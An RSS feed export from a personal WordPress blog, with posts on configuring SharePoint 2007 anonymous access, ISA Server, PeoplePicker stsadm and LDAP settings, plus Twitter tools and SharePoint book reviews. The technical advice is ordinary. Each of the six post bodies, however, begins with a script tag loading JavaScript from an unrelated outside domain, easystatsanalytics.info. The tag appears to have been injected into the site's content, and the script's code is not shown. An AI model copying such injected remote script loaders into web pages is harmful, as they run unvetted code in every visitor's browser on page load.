<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rob&#039;s Tech Fun and Games &#187; Microsoft</title>
	<atom:link href="http://kipper.org.uk/index.php/category/microsoft/feed/" rel="self" type="application/rss+xml" />
	<link>http://kipper.org.uk</link>
	<description>Technical notes for tricky situations</description>
	<lastBuildDate>Fri, 03 Jun 2011 13:12:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Anonymous Access to Microsoft SharePoint 2007 Sites</title>
		<link>http://kipper.org.uk/index.php/2010/03/anonymous-access-to-microsoft-sharepoint-2007-sites/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=anonymous-access-to-microsoft-sharepoint-2007-sites</link>
		<comments>http://kipper.org.uk/index.php/2010/03/anonymous-access-to-microsoft-sharepoint-2007-sites/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 15:26:53 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[anonymous]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[ISA 2006]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=118</guid>
		<description><![CDATA[I recently came across a need to publish a SharePoint site without authentication &#8211; effectively using anonymous access to the site.  Its surprisingly complex to set up correctly, especially if you are working with a secure ISA front end. Share Point Configuration First, you need to enable anonymous access for the entire web application, for [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fanonymous-access-to-microsoft-sharepoint-2007-sites%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fanonymous-access-to-microsoft-sharepoint-2007-sites%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>I recently came across a need to publish a SharePoint site without authentication &#8211; effectively using anonymous access to the site.  Its surprisingly complex to set up correctly, especially if you are working with a secure ISA front end.</p>
<h4>Share Point Configuration</h4>
<p>First, you need to enable anonymous access for the entire web application, for every SharePoint zone.  Open the Central Administration site, and select &#8220;Application Management&#8221;.  Now select &#8220;Authentication Providers&#8221;.</p>
<p>When the Authentication Providers page appears, make sure you are looking at the right web application, then click on each zone, enable anonymous authentication, and click OK.  Once all the zones have been configured, the web application will allow anonymous access.</p>
<p>Just because anonymous access is available on the web application, it doesn&#8217;t mean its available on the sites!  You have to then set up permission on the individual sites.</p>
<p>In order to set the permissions on your site, you either need to go straight to the address:</p>
<p><a href="http://yoursite/_layouts/setanon.aspx">http://yoursite/_layouts/setanon.aspx</a></p>
<p>Or go to Site Settings on the Site Actions menu, select &#8220;Advanced Permissions&#8221; from the &#8220;Users and Permissions&#8221; column, and then select Anonymous Access from the &#8220;Settings&#8221; option list.</p>
<p>Once there, simple tick to enable anonymous access!</p>
<p>If SharePoint is directly accessible, then you are done!  If, however, you are using ISA server to guard SharePoint, there are a couple more things left to do.</p>
<h4>ISA Server</h4>
<p>If you are using forms based authentication with ISA, then you need to bypass it for anonymous access!  Its not particularly surprising, but there are a few quirks when you set up your new rule and web listener.</p>
<p>First, it needs to be on a different IP address or port, otherwise you can&#8217;t create a new web listener.</p>
<p>Second, if you are restricting access to a limited IP address range without authentication &#8230; DO NOT SET UP AN EXTERNAL NETWORK.  Set up an address range, or all the configuration will fail.</p>
<p>Finally, if you set up a web listener, using the No Authentication option, and set the system to pass authentication through to the client,you must ensure that the option &#8220;allow client authentication over HTTP&#8221; is also ticked in the &#8220;Advanced&#8221; options within the Authentication tab on the web listener, otherwise all pages will show a 401 UNAUTHORIZED message if you access them without a username and password!</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/03/anonymous-access-to-microsoft-sharepoint-2007-sites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint 2007 &#8211; Design is Everything!</title>
		<link>http://kipper.org.uk/index.php/2010/03/sharepoint-2007-design-is-everything/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sharepoint-2007-design-is-everything</link>
		<comments>http://kipper.org.uk/index.php/2010/03/sharepoint-2007-design-is-everything/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 13:00:40 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=115</guid>
		<description><![CDATA[After some of the recent comments on various SharePoint posts, I thought it was worth going through the most important part of using SharePoint &#8230; planning!  SharePoint is a very powerful system, but it is really, really difficult to change the architecture once it&#8217;s already installed.  You NEED (and my apologies for shouting, but the [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fsharepoint-2007-design-is-everything%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F03%2Fsharepoint-2007-design-is-everything%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>After some of the recent comments on various SharePoint posts, I thought it was worth going through the most important part of using SharePoint &#8230; planning!  SharePoint is a very powerful system, but it is really, really difficult to change the architecture once it&#8217;s already installed.  You NEED (and my apologies for shouting, but the emphasis is really deserved) to make sure that you install your directory services, security, SharePoint and prepare your site collections and templates correctly before you even think of using it.</p>
<p>This isn&#8217;t a step by step guide &#8211; SharePoint is simply too broad a platform for that sort of approach.  Instead, it lists some of the more common gotchas, or concepts to think about.  For more technical installation details, see my earlier posts:</p>
<p><a href="http://kipper.org.uk/index.php/2009/04/installing-sharepoint-gotchas-preinstallation/">Installing SharePoint 1 &#8211; Preinstallation</a></p>
<p><a href="http://kipper.org.uk/index.php/2009/04/installing-sharepoint-gotchas-part-2-installation/">Installation SharePoint 2 &#8211; Installation</a></p>
<p><a href="http://kipper.org.uk/index.php/2009/04/installing-sharepoint-gotchas-part-3-configuration/">Installing SharePoint 3 &#8211; Configuration</a></p>
<h4>I&#8217;m going to have lots of clients using my SharePoint system, but they can&#8217;t know about the others</h4>
<p>Security within SharePoint is generally scoped at a Site Collection level.  If clients shouldn&#8217;t be able to see each other on the system, you need to plan for that before you deploy anything.  Every group of external users should be hosted on a separate site collection, or you will <a href="http://http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/">hit issues with the PeoplePicker</a>.  If you intend to keep access control factors away from clients, thats not necessarily a show stopper, but as a general rule, use a site collection as a security scope.  You&#8217;ll also need to tell the PeoplePicker to be restrictive, using</p>
<p style="padding-left: 30px;">stsadm -o setproperty –url http://&lt;server&gt; –pn peoplepicker-onlysearchwithinsitecollection –pv yes</p>
<p>If you find out that you have multiple clients using subsites on a site collection, its too late.  You&#8217;ll have to go back to the design phase, or start introducing technical kludges like replacing the PeoplePicker functionality yourself.</p>
<h4>My network grew organically, and I currently have a fairly complex domain structure.</h4>
<p>OK &#8211; stop right there!  If you have a complex domain structure, you need to think long and hard about which domains will access SharePoint, work out trusts and user rights, and manually configure SharePoint to be able to see all of the <a href="http://http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/">applicable Forests and Domains</a>.  You&#8217;ll also need to work out any potential security headaches with firewalls, ports and domain authentication from your SharePoint installation.  Don&#8217;t install SharePoint, then think about this.  It&#8217;ll have all sorts of issues with the People Picker, the search services and user profiles, and with security and authentication too, especially if you hide SharePoint behind a security provider like ISA 2006!</p>
<h4>I don&#8217;t want to add external users to my live Active Directory</h4>
<p>Fair enough!  There are two possible solutions &#8211; either set up up a new Active Directory domain for external users in the DMZ, and then set up a one way trust (for internal users), or simply install another directory service.  <a href="http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/">ADAM </a>is a light directory service, perfect for this sort of environment.  Either solution needs to be in place before you deploy SharePoint &#8211; again, preparation will stand you in great stead.</p>
<h4>I&#8217;ve been running SharePoint for a while, and my security architecture is out of control.</h4>
<p>This will happen, unless you have really done a good job in terms of planning ahead.  Wherever possible, try to ensure access rights are maintained as smoothly as possible.  If you set up roles based on directory service groups, then maintain those groups, your security takes care of itself, particularly for internal users, where your system administrators should maintain AD groups as a matter of course.  The more granular your application of security within SharePoint, the harder you&#8217;ll find maintenance.  <a href="http://kipper.org.uk/index.php/2009/05/sharepoint-permissions-maintaining-a-security-structure/">Keep to groups</a>, and maintain the groups wherever there isn&#8217;t a clear business need.</p>
<h4>Final thoughts</h4>
<p>Like any complex system, the key to Microsoft SharePoint is proper planning.  If you understand:</p>
<ol>
<li>Your business problem (client restricted extranets are different to open forums, which differ from intranets!)</li>
<li>Your business environment (especially your technical deployment, such as DMZ requirements and domain structure, but a grasp of the basic business factors can be invaluable)</li>
<li>the architecture of Mcirosoft SharePoint</li>
</ol>
<p>then you can deploy a system that will acheive your goal efficiently and securely.  If you install SharePoint without planning, because &#8220;SharePoint is the way to go&#8221;, with no understanding or foresight, then you&#8217;ll be problem solving until the project fails.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/03/sharepoint-2007-design-is-everything/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More People Picker issues</title>
		<link>http://kipper.org.uk/index.php/2009/10/more-people-picker-issues/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=more-people-picker-issues</link>
		<comments>http://kipper.org.uk/index.php/2009/10/more-people-picker-issues/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 12:30:23 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=95</guid>
		<description><![CDATA[Tom commented on a post with the following problem, and I thought it merited a post. &#8220;We have a MOSS 2007 FARM AND 3 DOMAINS all have a two way trust.  We have over 78 sites all of which stopped with no known reason from being able to find users that are in one of [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F10%2Fmore-people-picker-issues%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F10%2Fmore-people-picker-issues%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Tom commented on a post with the following problem, and I thought it merited a post.</p>
<p style="padding-left: 30px;">&#8220;We have a MOSS 2007 FARM AND 3 DOMAINS all have a two way trust.  We have over 78 sites all of which stopped with no known reason from being able to find users that are in one of the domains we can find the users in the view profiles yet we can no longer find users using peoplepicker for any users from the one domain.</p>
<p style="padding-left: 30px;">We have tried this command you have provided and they come back with commandline error<br />
stsadm -o setproperty -pn peoplepicker-searchadforests -pv domain:full domain name,-userlogin domain\username password –url <a rel="nofollow" href="http://webapp/">http://webapp</a> url&#8221;</p>
<p>It sounds like an interesting problem, but its difficult to answer without more information.  Incidentally, the profiles comment, about being able to view user profiles, is rather a red herring.  This is handled by an import process specified elsewhere in the SSP, and has nothing to do with the People Picker displaying users.</p>
<p>Lets discuss the stsadm command first.   Without knowing the specific error message, I can&#8217;t say why the command is failing, but there are two probable outcomes.   stsadm is not generally included in the default path for a windows installation, so if the error message is:</p>
<p style="padding-left: 30px;">&#8216;stsadm&#8217; is not recognized as an internal or external command, operable program or batch file.</p>
<p>The problem is simply that you need to find the appropriate location first.  The location is generally:</p>
<p style="padding-left: 30px;">C:\Program Files\Common Files\Microsoft Shared\web server extensions\12\BIN&gt;</p>
<p>so simple change directory to that path, and run the STSADM again.  It sounds obvious, but I must admit, I had a bit of a nightmare trying to find the stsadm path when I first started looking at SharePoint!</p>
<p>The other possibility is that the command has been run, but that the parameters haven&#8217;t been entered correctly.  If so, you get the terribly helpful response of :</p>
<p style="padding-left: 30px;">Command line error.</p>
<p>Followed by a complete syntax reference for the command, and it sounds much more likely that this is the cause of the problem, from the notes in the question.  Unfortunately, this is quite a lot harder to discuss, as unsuprisingly people aren&#8217;t going to give the specific command line with all of their configuration details and passwords to be put onto a website, and the generic, censored versions are probably going to be correct, at least as far as it goes.</p>
<p>The best help I can give here is to put together a full hypothetical example, rather than just repeating the command syntax yet again.</p>
<p>Essentially, you first need to set an internal SharePoint encryption key, then tell the server what domains to add to the list, and what valid username and password to use to connect to the domain in order to pull back the list.  Don’t use administrator, btw!!!</p>
<p>To set the initial encryption key, use:</p>
<p style="padding-left: 30px;">stsadm.exe -o setapppassword -password &lt;yourencryptionkey&gt;</p>
<p>To set the actual domain link, use:</p>
<p style="padding-left: 30px;">stsadm.exe -o setproperty -url <a href="http://domain1.example.com:80">http://domain1.example.com:80</a> -pn “peoplepicker-searchadforests” -pv “domain:domain1.example.com,domain1\LoginName, <a href="mailto:P@ssword">P@ssword</a>; domain:domain2.example.com,domain2\LoginName, <a href="mailto:P@ssword">P@ssword</a>; domain:domain3.example.com,domain3\LoginName, <a href="mailto:P@ssword">P@ssword</a>&#8220;</p>
<p>Of course, with two way trusts a single user name and password could be used if you granted the appropriate rights. </p>
<p>What normally goes wrong putting this together?  Normally it is either the encryption key hasn&#8217;t been set first, or that construction of the domain list has a syntax issue (or that the surrounding quotes have been missed off).</p>
<p>As a rule, though, if you get a command line error when running stsadm, you have got the format wrong.  If the format is right, it won&#8217;t necessarily solve the problem (if your username or password is wrong, for example, it still can&#8217;t access the other domain information), but you&#8217;ll see the changes applied.  A good way of checking is to run:</p>
<p style="padding-left: 30px;">stsadm.exe -o getproperty -url <a href="http://domain1.example.com/">http://domain1.example.com:80</a> -pn “peoplepicker-searchadforests”</p>
<p>And it will show the details you&#8217;ve set (with passwords asterisked out).</p>
<p>What makes the problem Tom is experiencing interesting is that apparently the People Picker has been working, and now isn&#8217;t.  This, to me, implies that something has changed with the installation, or the Active Directory configuration.</p>
<p>Key things to check would be:</p>
<p>Has the system user context still got access rights to the domain that appears to be no longer accessible?  A two way trust means that user rights can be assigned &#8230; by default they arent.</p>
<p>Have the active directory servers changed?  If so, you may need to force DNS updates, otherwise resolution against the AD may be looking for defunct servers.</p>
<p>Has the stsadm command been run succesfully in the past, and the usernames and passwords have since changed (or expired)?  This will obviouslly drop off the people pickers ability to query the domain.</p>
<p>Has a security patch been applied against the domain, or has permissions to the Active Directory been changed?  By default, older systems allowed anyone to do a basic LDAP query against the Active Directory, but this was locked down.  If this loophole was previously being used instead of setting correct access rights for the security context of the wep application, it&#8217;ll obviously start causing this issue.</p>
<p>I hope this helps &#8211; Tom, if you&#8217;ve solved the problem, please let me know the solution <img src='http://kipper.org.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/10/more-people-picker-issues/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Filtering the SharePoint People Picker Results</title>
		<link>http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=filtering-the-sharepoint-people-picker-results</link>
		<comments>http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/#comments</comments>
		<pubDate>Fri, 24 Jul 2009 10:47:47 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[PeoplePicker]]></category>
		<category><![CDATA[SharePoint SP1]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=93</guid>
		<description><![CDATA[Someone asked in the comments on another post how to filter the responses to the People Picker to only show active users.  Its an unusual question, in that &#8220;Active Users&#8221; is so difficult to define.  The People Picker&#8217;s default behaviour includes a check to make sure that the account is enabled in Active Directory, so [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F07%2Ffiltering-the-sharepoint-people-picker-results%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F07%2Ffiltering-the-sharepoint-people-picker-results%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>
<div id="commentbody-151">
<p>Someone asked in the comments on another post how to filter the responses to the People Picker to only show active users.  Its an unusual question, in that &#8220;Active Users&#8221; is so difficult to define.  The People Picker&#8217;s default behaviour includes a check to make sure that the account is enabled in Active Directory, so disabled accounts are hidden.  Perhaps it means just users, not groups, or just those users granted access to the Site Collection.</p>
<p>I actually favor the option in the people picker to only return users which have been granted permissions on the Site collection.  This instantly means users in one site collection don&#8217;t know about the existence of others by default, and is easy to implement.  Just run:</p>
<p style="PADDING-LEFT: 30px">stsadm -o setproperty –url http://&lt;server&gt; –pn peoplepicker-onlysearchwithinsitecollection –pv yes</p>
<p>You can add specific users to the site collection by searching for the fully qualified logon name, but the people picker will only return users on the site.</p>
<p>If you need slightly more unusual options though, you&#8217;ll need to alter the query itself.  It&#8217;ll also potentially affect the ability to add any users to the site, so be very, very careful - I&#8217;d really recommend not trying this unless you are pretty confident with LDAP queries.</p>
<p>There are several ways of doing this &#8211; first, you can set the People Picker to use a custom LDAP query, and select exactly what you need from the AD.  The alternative is that you can allow the People Picker to use standard querys, and then filter the result set.  You can also restrict queries to a particular OU, which would obviously limit the response.</p>
<p>The first is best if you need to limit the query to a specific OU or search for a custom field flagging people as a SharePoint Site user, but be wanred &#8211; performanced on a non indexed field will be appalling.  I&#8217;d avoid it if possible.   The second is better if you need to hide certain user accounts (like service accounts) from the returned queries.  The last option is quite neat, but its rare that you structure AD for your SharePoint web applications.  Synergy online covers all these options in detail <a href="http://www.synergyonline.com/blog/blog-moss/Lists/Posts/Post.aspx?ID=5">here</a>.</p>
<p>Incidentally, I believe the LDAP query to filter for only active users is:</p>
<p style="padding-left: 30px;">(&amp;(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))</p>
<p>So to only return active users, not groups, you could use the following filter:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -url http://server/sites/vp-site -pn peoplepicker-searchadcustomfilter -pv &#8220;(&amp;(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))&#8221;</p>
<p>One final note &#8211; the AD filter and limiting the queries to an OU are only available from SharePoint SP1 onwards &#8211; make sure you&#8217;re patched!</p></div>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/07/filtering-the-sharepoint-people-picker-results/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Twittering from multiple platforms!</title>
		<link>http://kipper.org.uk/index.php/2009/06/twittering-from-multiple-platforms/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=twittering-from-multiple-platforms</link>
		<comments>http://kipper.org.uk/index.php/2009/06/twittering-from-multiple-platforms/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 13:45:19 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[BlackBerry]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[RIM]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=89</guid>
		<description><![CDATA[Well, I&#8217;ve reached 100 tweets, from various different devices, and thought I&#8217;d jot down my thoughts on the best tools on the various platforms. First up &#8211; the iPhone!  I love the iPhone, and will shortly be upgrading to version 3.0!  Its my favorite platform for twittering generally, as I always have it with me.  [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F06%2Ftwittering-from-multiple-platforms%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F06%2Ftwittering-from-multiple-platforms%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Well, I&#8217;ve reached 100 tweets, from various different devices, and thought I&#8217;d jot down my thoughts on the best tools on the various platforms.</p>
<p>First up &#8211; the iPhone!  I love the iPhone, and will shortly be upgrading to version 3.0!  Its my favorite platform for twittering generally, as I always have it with me.  I&#8217;ve tried a range of tools, but my favorite is Twitterrific, ever since their last version upgrade.  It does absolutely everything I need or want it to do, and is free, if you&#8217;re willing to put up with an occasional advert.  I also use Twitterfall, which is a pretty cheap application, and is by far the best tool for monitoring trending topics in the twitterverse.</p>
<p>Next &#8211; the BlackBerry.  My BlackBerry is provided by work, and until I got my iPhone was by far the best mobile device I&#8217;d come across &#8211; its still the best for corporate use and sending emails.  Here, I&#8217;ve recently been introduced to the delights of UberTwitter, which is excellent &#8211; the location plotting tools are brilliant if a little intrusive if you don&#8217;t notice them for the first few tweets!</p>
<p>Of course, posting tweets from the desktop is always useful!  The main <a href="http://twitter.com">Twitter</a> site is always really useful.   The best tool for posting and monitoring tweets used to be <a href="http://www.tweetree.com">Tweetree</a> but I&#8217;ve found it a little unreliable of late.  <a href="http://www.twitterfall.com">Twitterfall</a> is great on the desktop too, for monitoring trending topics.  Finally, for cordinating a group on Twitter, I&#8217;ve found <a href="http://www.twibes.com">Twibes</a> to be simply great and very easy to use.</p>
<p>Are there other great tools on these platforms?  Absolutely!  These are just the ones that I, as a relative newbie to twitter, have found really accesible and highly useful!  I&#8217;d love to hear about others if people want to comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/06/twittering-from-multiple-platforms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint Books &#8211; what&#8217;s useful, and what&#8217;s not!</title>
		<link>http://kipper.org.uk/index.php/2009/06/sharepoint-books-whats-useful-and-whats-not/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sharepoint-books-whats-useful-and-whats-not</link>
		<comments>http://kipper.org.uk/index.php/2009/06/sharepoint-books-whats-useful-and-whats-not/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 12:11:26 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[Book Reviews]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=80</guid>
		<description><![CDATA[OK, before I get started here, let me clarify.  I&#8217;m predominantly a SharePoint administrator, not a developer, so these reviews are based around their use for installation and administration, as opposed to their use for a web developer!  If I think something would be useful for different roles, I&#8217;ll try and point it out, but [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F06%2Fsharepoint-books-whats-useful-and-whats-not%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F06%2Fsharepoint-books-whats-useful-and-whats-not%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>OK, before I get started here, let me clarify.  I&#8217;m predominantly a SharePoint administrator, not a developer, so these reviews are based around their use for installation and administration, as opposed to their use for a web developer!  If I think something would be useful for different roles, I&#8217;ll try and point it out, but do bear the viewpoint in mind as you read further.</p>
<p>With the disclaimer out of the way, lets get started with O&#8217;Reilly&#8217;s <span style="text-decoration: underline;">&#8220;Essential SharePoint 2007&#8243;</span> (You can find this at <a href="http://www.amazon.co.uk/dp/0596514077/ref=nosim?tag=swordandsta0f-21">Amazon.co.uk</a> and <a href="http://www.amazon.com/dp/0596514077/ref=nosim?tag=swordandstars-20">Amazon.com</a>).  I&#8217;ve got mixed feelings about this book.  I used it a lot when getting started with SharePoint, and its a great reference when I go back to do something that I&#8217;m not doing frequently.  However, it lacks depth, and seems a bit unfocussed, covering areas that developers, administrators and users all need to know.  Almost the entire team I work with, both developers and admins, have a copy of the book and use it on occasion, but its not a great place to start, and not the best place to go for a detailed technical reference either.  I&#8217;d say its absolutely ideal for someone tackling SharePoint in a smaller company, where you need to have an understanding across the board, rather than specialising in a particular area.  In a larger company, its a great book if you occasionally work with SharePoint and want a solid technical reminder.</p>
<p>Surprisingly, one of the most useful books for me for SharePoint was  <span style="text-decoration: underline;">&#8220;Microsoft SharePoint 2007 for Dummies&#8221;</span> (You can find this at <a href="http://www.amazon.co.uk/dp/0470099410/ref=nosim?tag=swordandsta0f-21">Amazon.co.uk</a> and <a href="http://www.amazon.com/dp/0470099410/ref=nosim?tag=swordandstars-20">Amazon.com</a>).  This may be because I&#8217;m a dummy, or just my method of approaching a new technology.  I read through a simple introduction to the technology, to get a rough idea of how it works, what the components are, how they fit together, and what the terminology is.  Because I start with a simple, clear and concise book , I can pick up that information really quickly, then I can use that information to bootstrap myself up to the complex technical specifics, and actually get the most of the in depth technical references.  The <span style="text-decoration: underline;">&#8220;Microsoft SharePoint 2007 for Dummies&#8221;</span> is perfect for this, providing a really solid introduction to the concepts and terminology.  I think it&#8217;d also be useful for a developer trying to understand how SharePoint fits together and is likely to be used, and very useful for a technical manager who just needs broad brushstrokes while his team does the detail work.</p>
<p>I wasn&#8217;t keen on the <span style="text-decoration: underline;">&#8220;Microsoft Office SharePoint Server 2007 Administrator&#8217;s Companion&#8221;</span> (You can find this at <a href="http://www.amazon.co.uk/dp/0735622825/ref=nosim?tag=swordandsta0f-21">Amazon.co.uk</a> and <a href="http://www.amazon.com/dp/0735622825/ref=nosim?tag=swordandstars-20">Amazon.com</a>).    Others may feel differently about it &#8211; many of the technical people I work with love the style in these Microsoft Press books.  I find that its too focussed on how to achieve specific goals by clicking specific buttons, rather than focussing on the particularly settings you need, and why they are needed.  Its more a philosophical difference than anything &#8211; I&#8217;m not just focussed on results, I need to know why I&#8217;m doing something.  I&#8217;ve found a solid understanding of a technology leads to much better results &#8230; and a much better ability to troubleshoot issues &#8230; than simply knowing what you need to click to achieve a particular goal.  Unfortunately, that&#8217;s the path Microsoft in general have taken with their books and courses, and increasingly seems to be the approach taken by the technical people I meet.  If thats what you want, this book is perfect.  I didn&#8217;t get on with it.  If you check the Amazon reviews, however, you&#8217;ll find most people love it.</p>
<p><span style="text-decoration: underline;">&#8220;SharePoint 2007 The Definitive Guide&#8221;</span> (You can find this at <a href="http://www.amazon.co.uk/dp/0596529589/ref=nosim?tag=swordandsta0f-21">Amazon.co.uk</a> and <a href="http://www.amazon.com/dp/0596529589/ref=nosim?tag=swordandstars-20">Amazon.com</a>) was pretty good as a guide.  Some aspects are very good &#8211; its coverage of SharePoint installations and upgrades from 2003 is excellent, for example.  Its coverage of network topologies and security is also excellent.  Where this falls down, and where the Internet shines, is the fact that I&#8217;ve found you need to know how a range of technologies work together to cover many of the odder demands of a SharePoint installation.  If you publish a SharePoint site, you&#8217;ll probably want to use ISA Server 2006 to secure it, not just rely on SharePoint.  Using a SQL server on a different domain via SQL authentication isn&#8217;t uncommon for DMZ deployments.  This book is great for vanilla SharePoint installs, and is definitive for basic admin tasks, such as deploying and configuring basic sites, roles and permissions.  You&#8217;ll need to look elsewhere for any installs beyond the vanilla.  I rarely go back to this book, but I&#8217;d thoroughly recommend reading through it at least once, and using it as a reference if you&#8217;re actively looking after SharePoint sites, as opposed to looking after the architecture.  If you need to get to grips at level of the stsadm command line, you won&#8217;t find it here.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/06/sharepoint-books-whats-useful-and-whats-not/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint PeoplePicker and ADAM continued&#8230;</title>
		<link>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker-and-adam-continued/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sharepoint-peoplepicker-and-adam-continued</link>
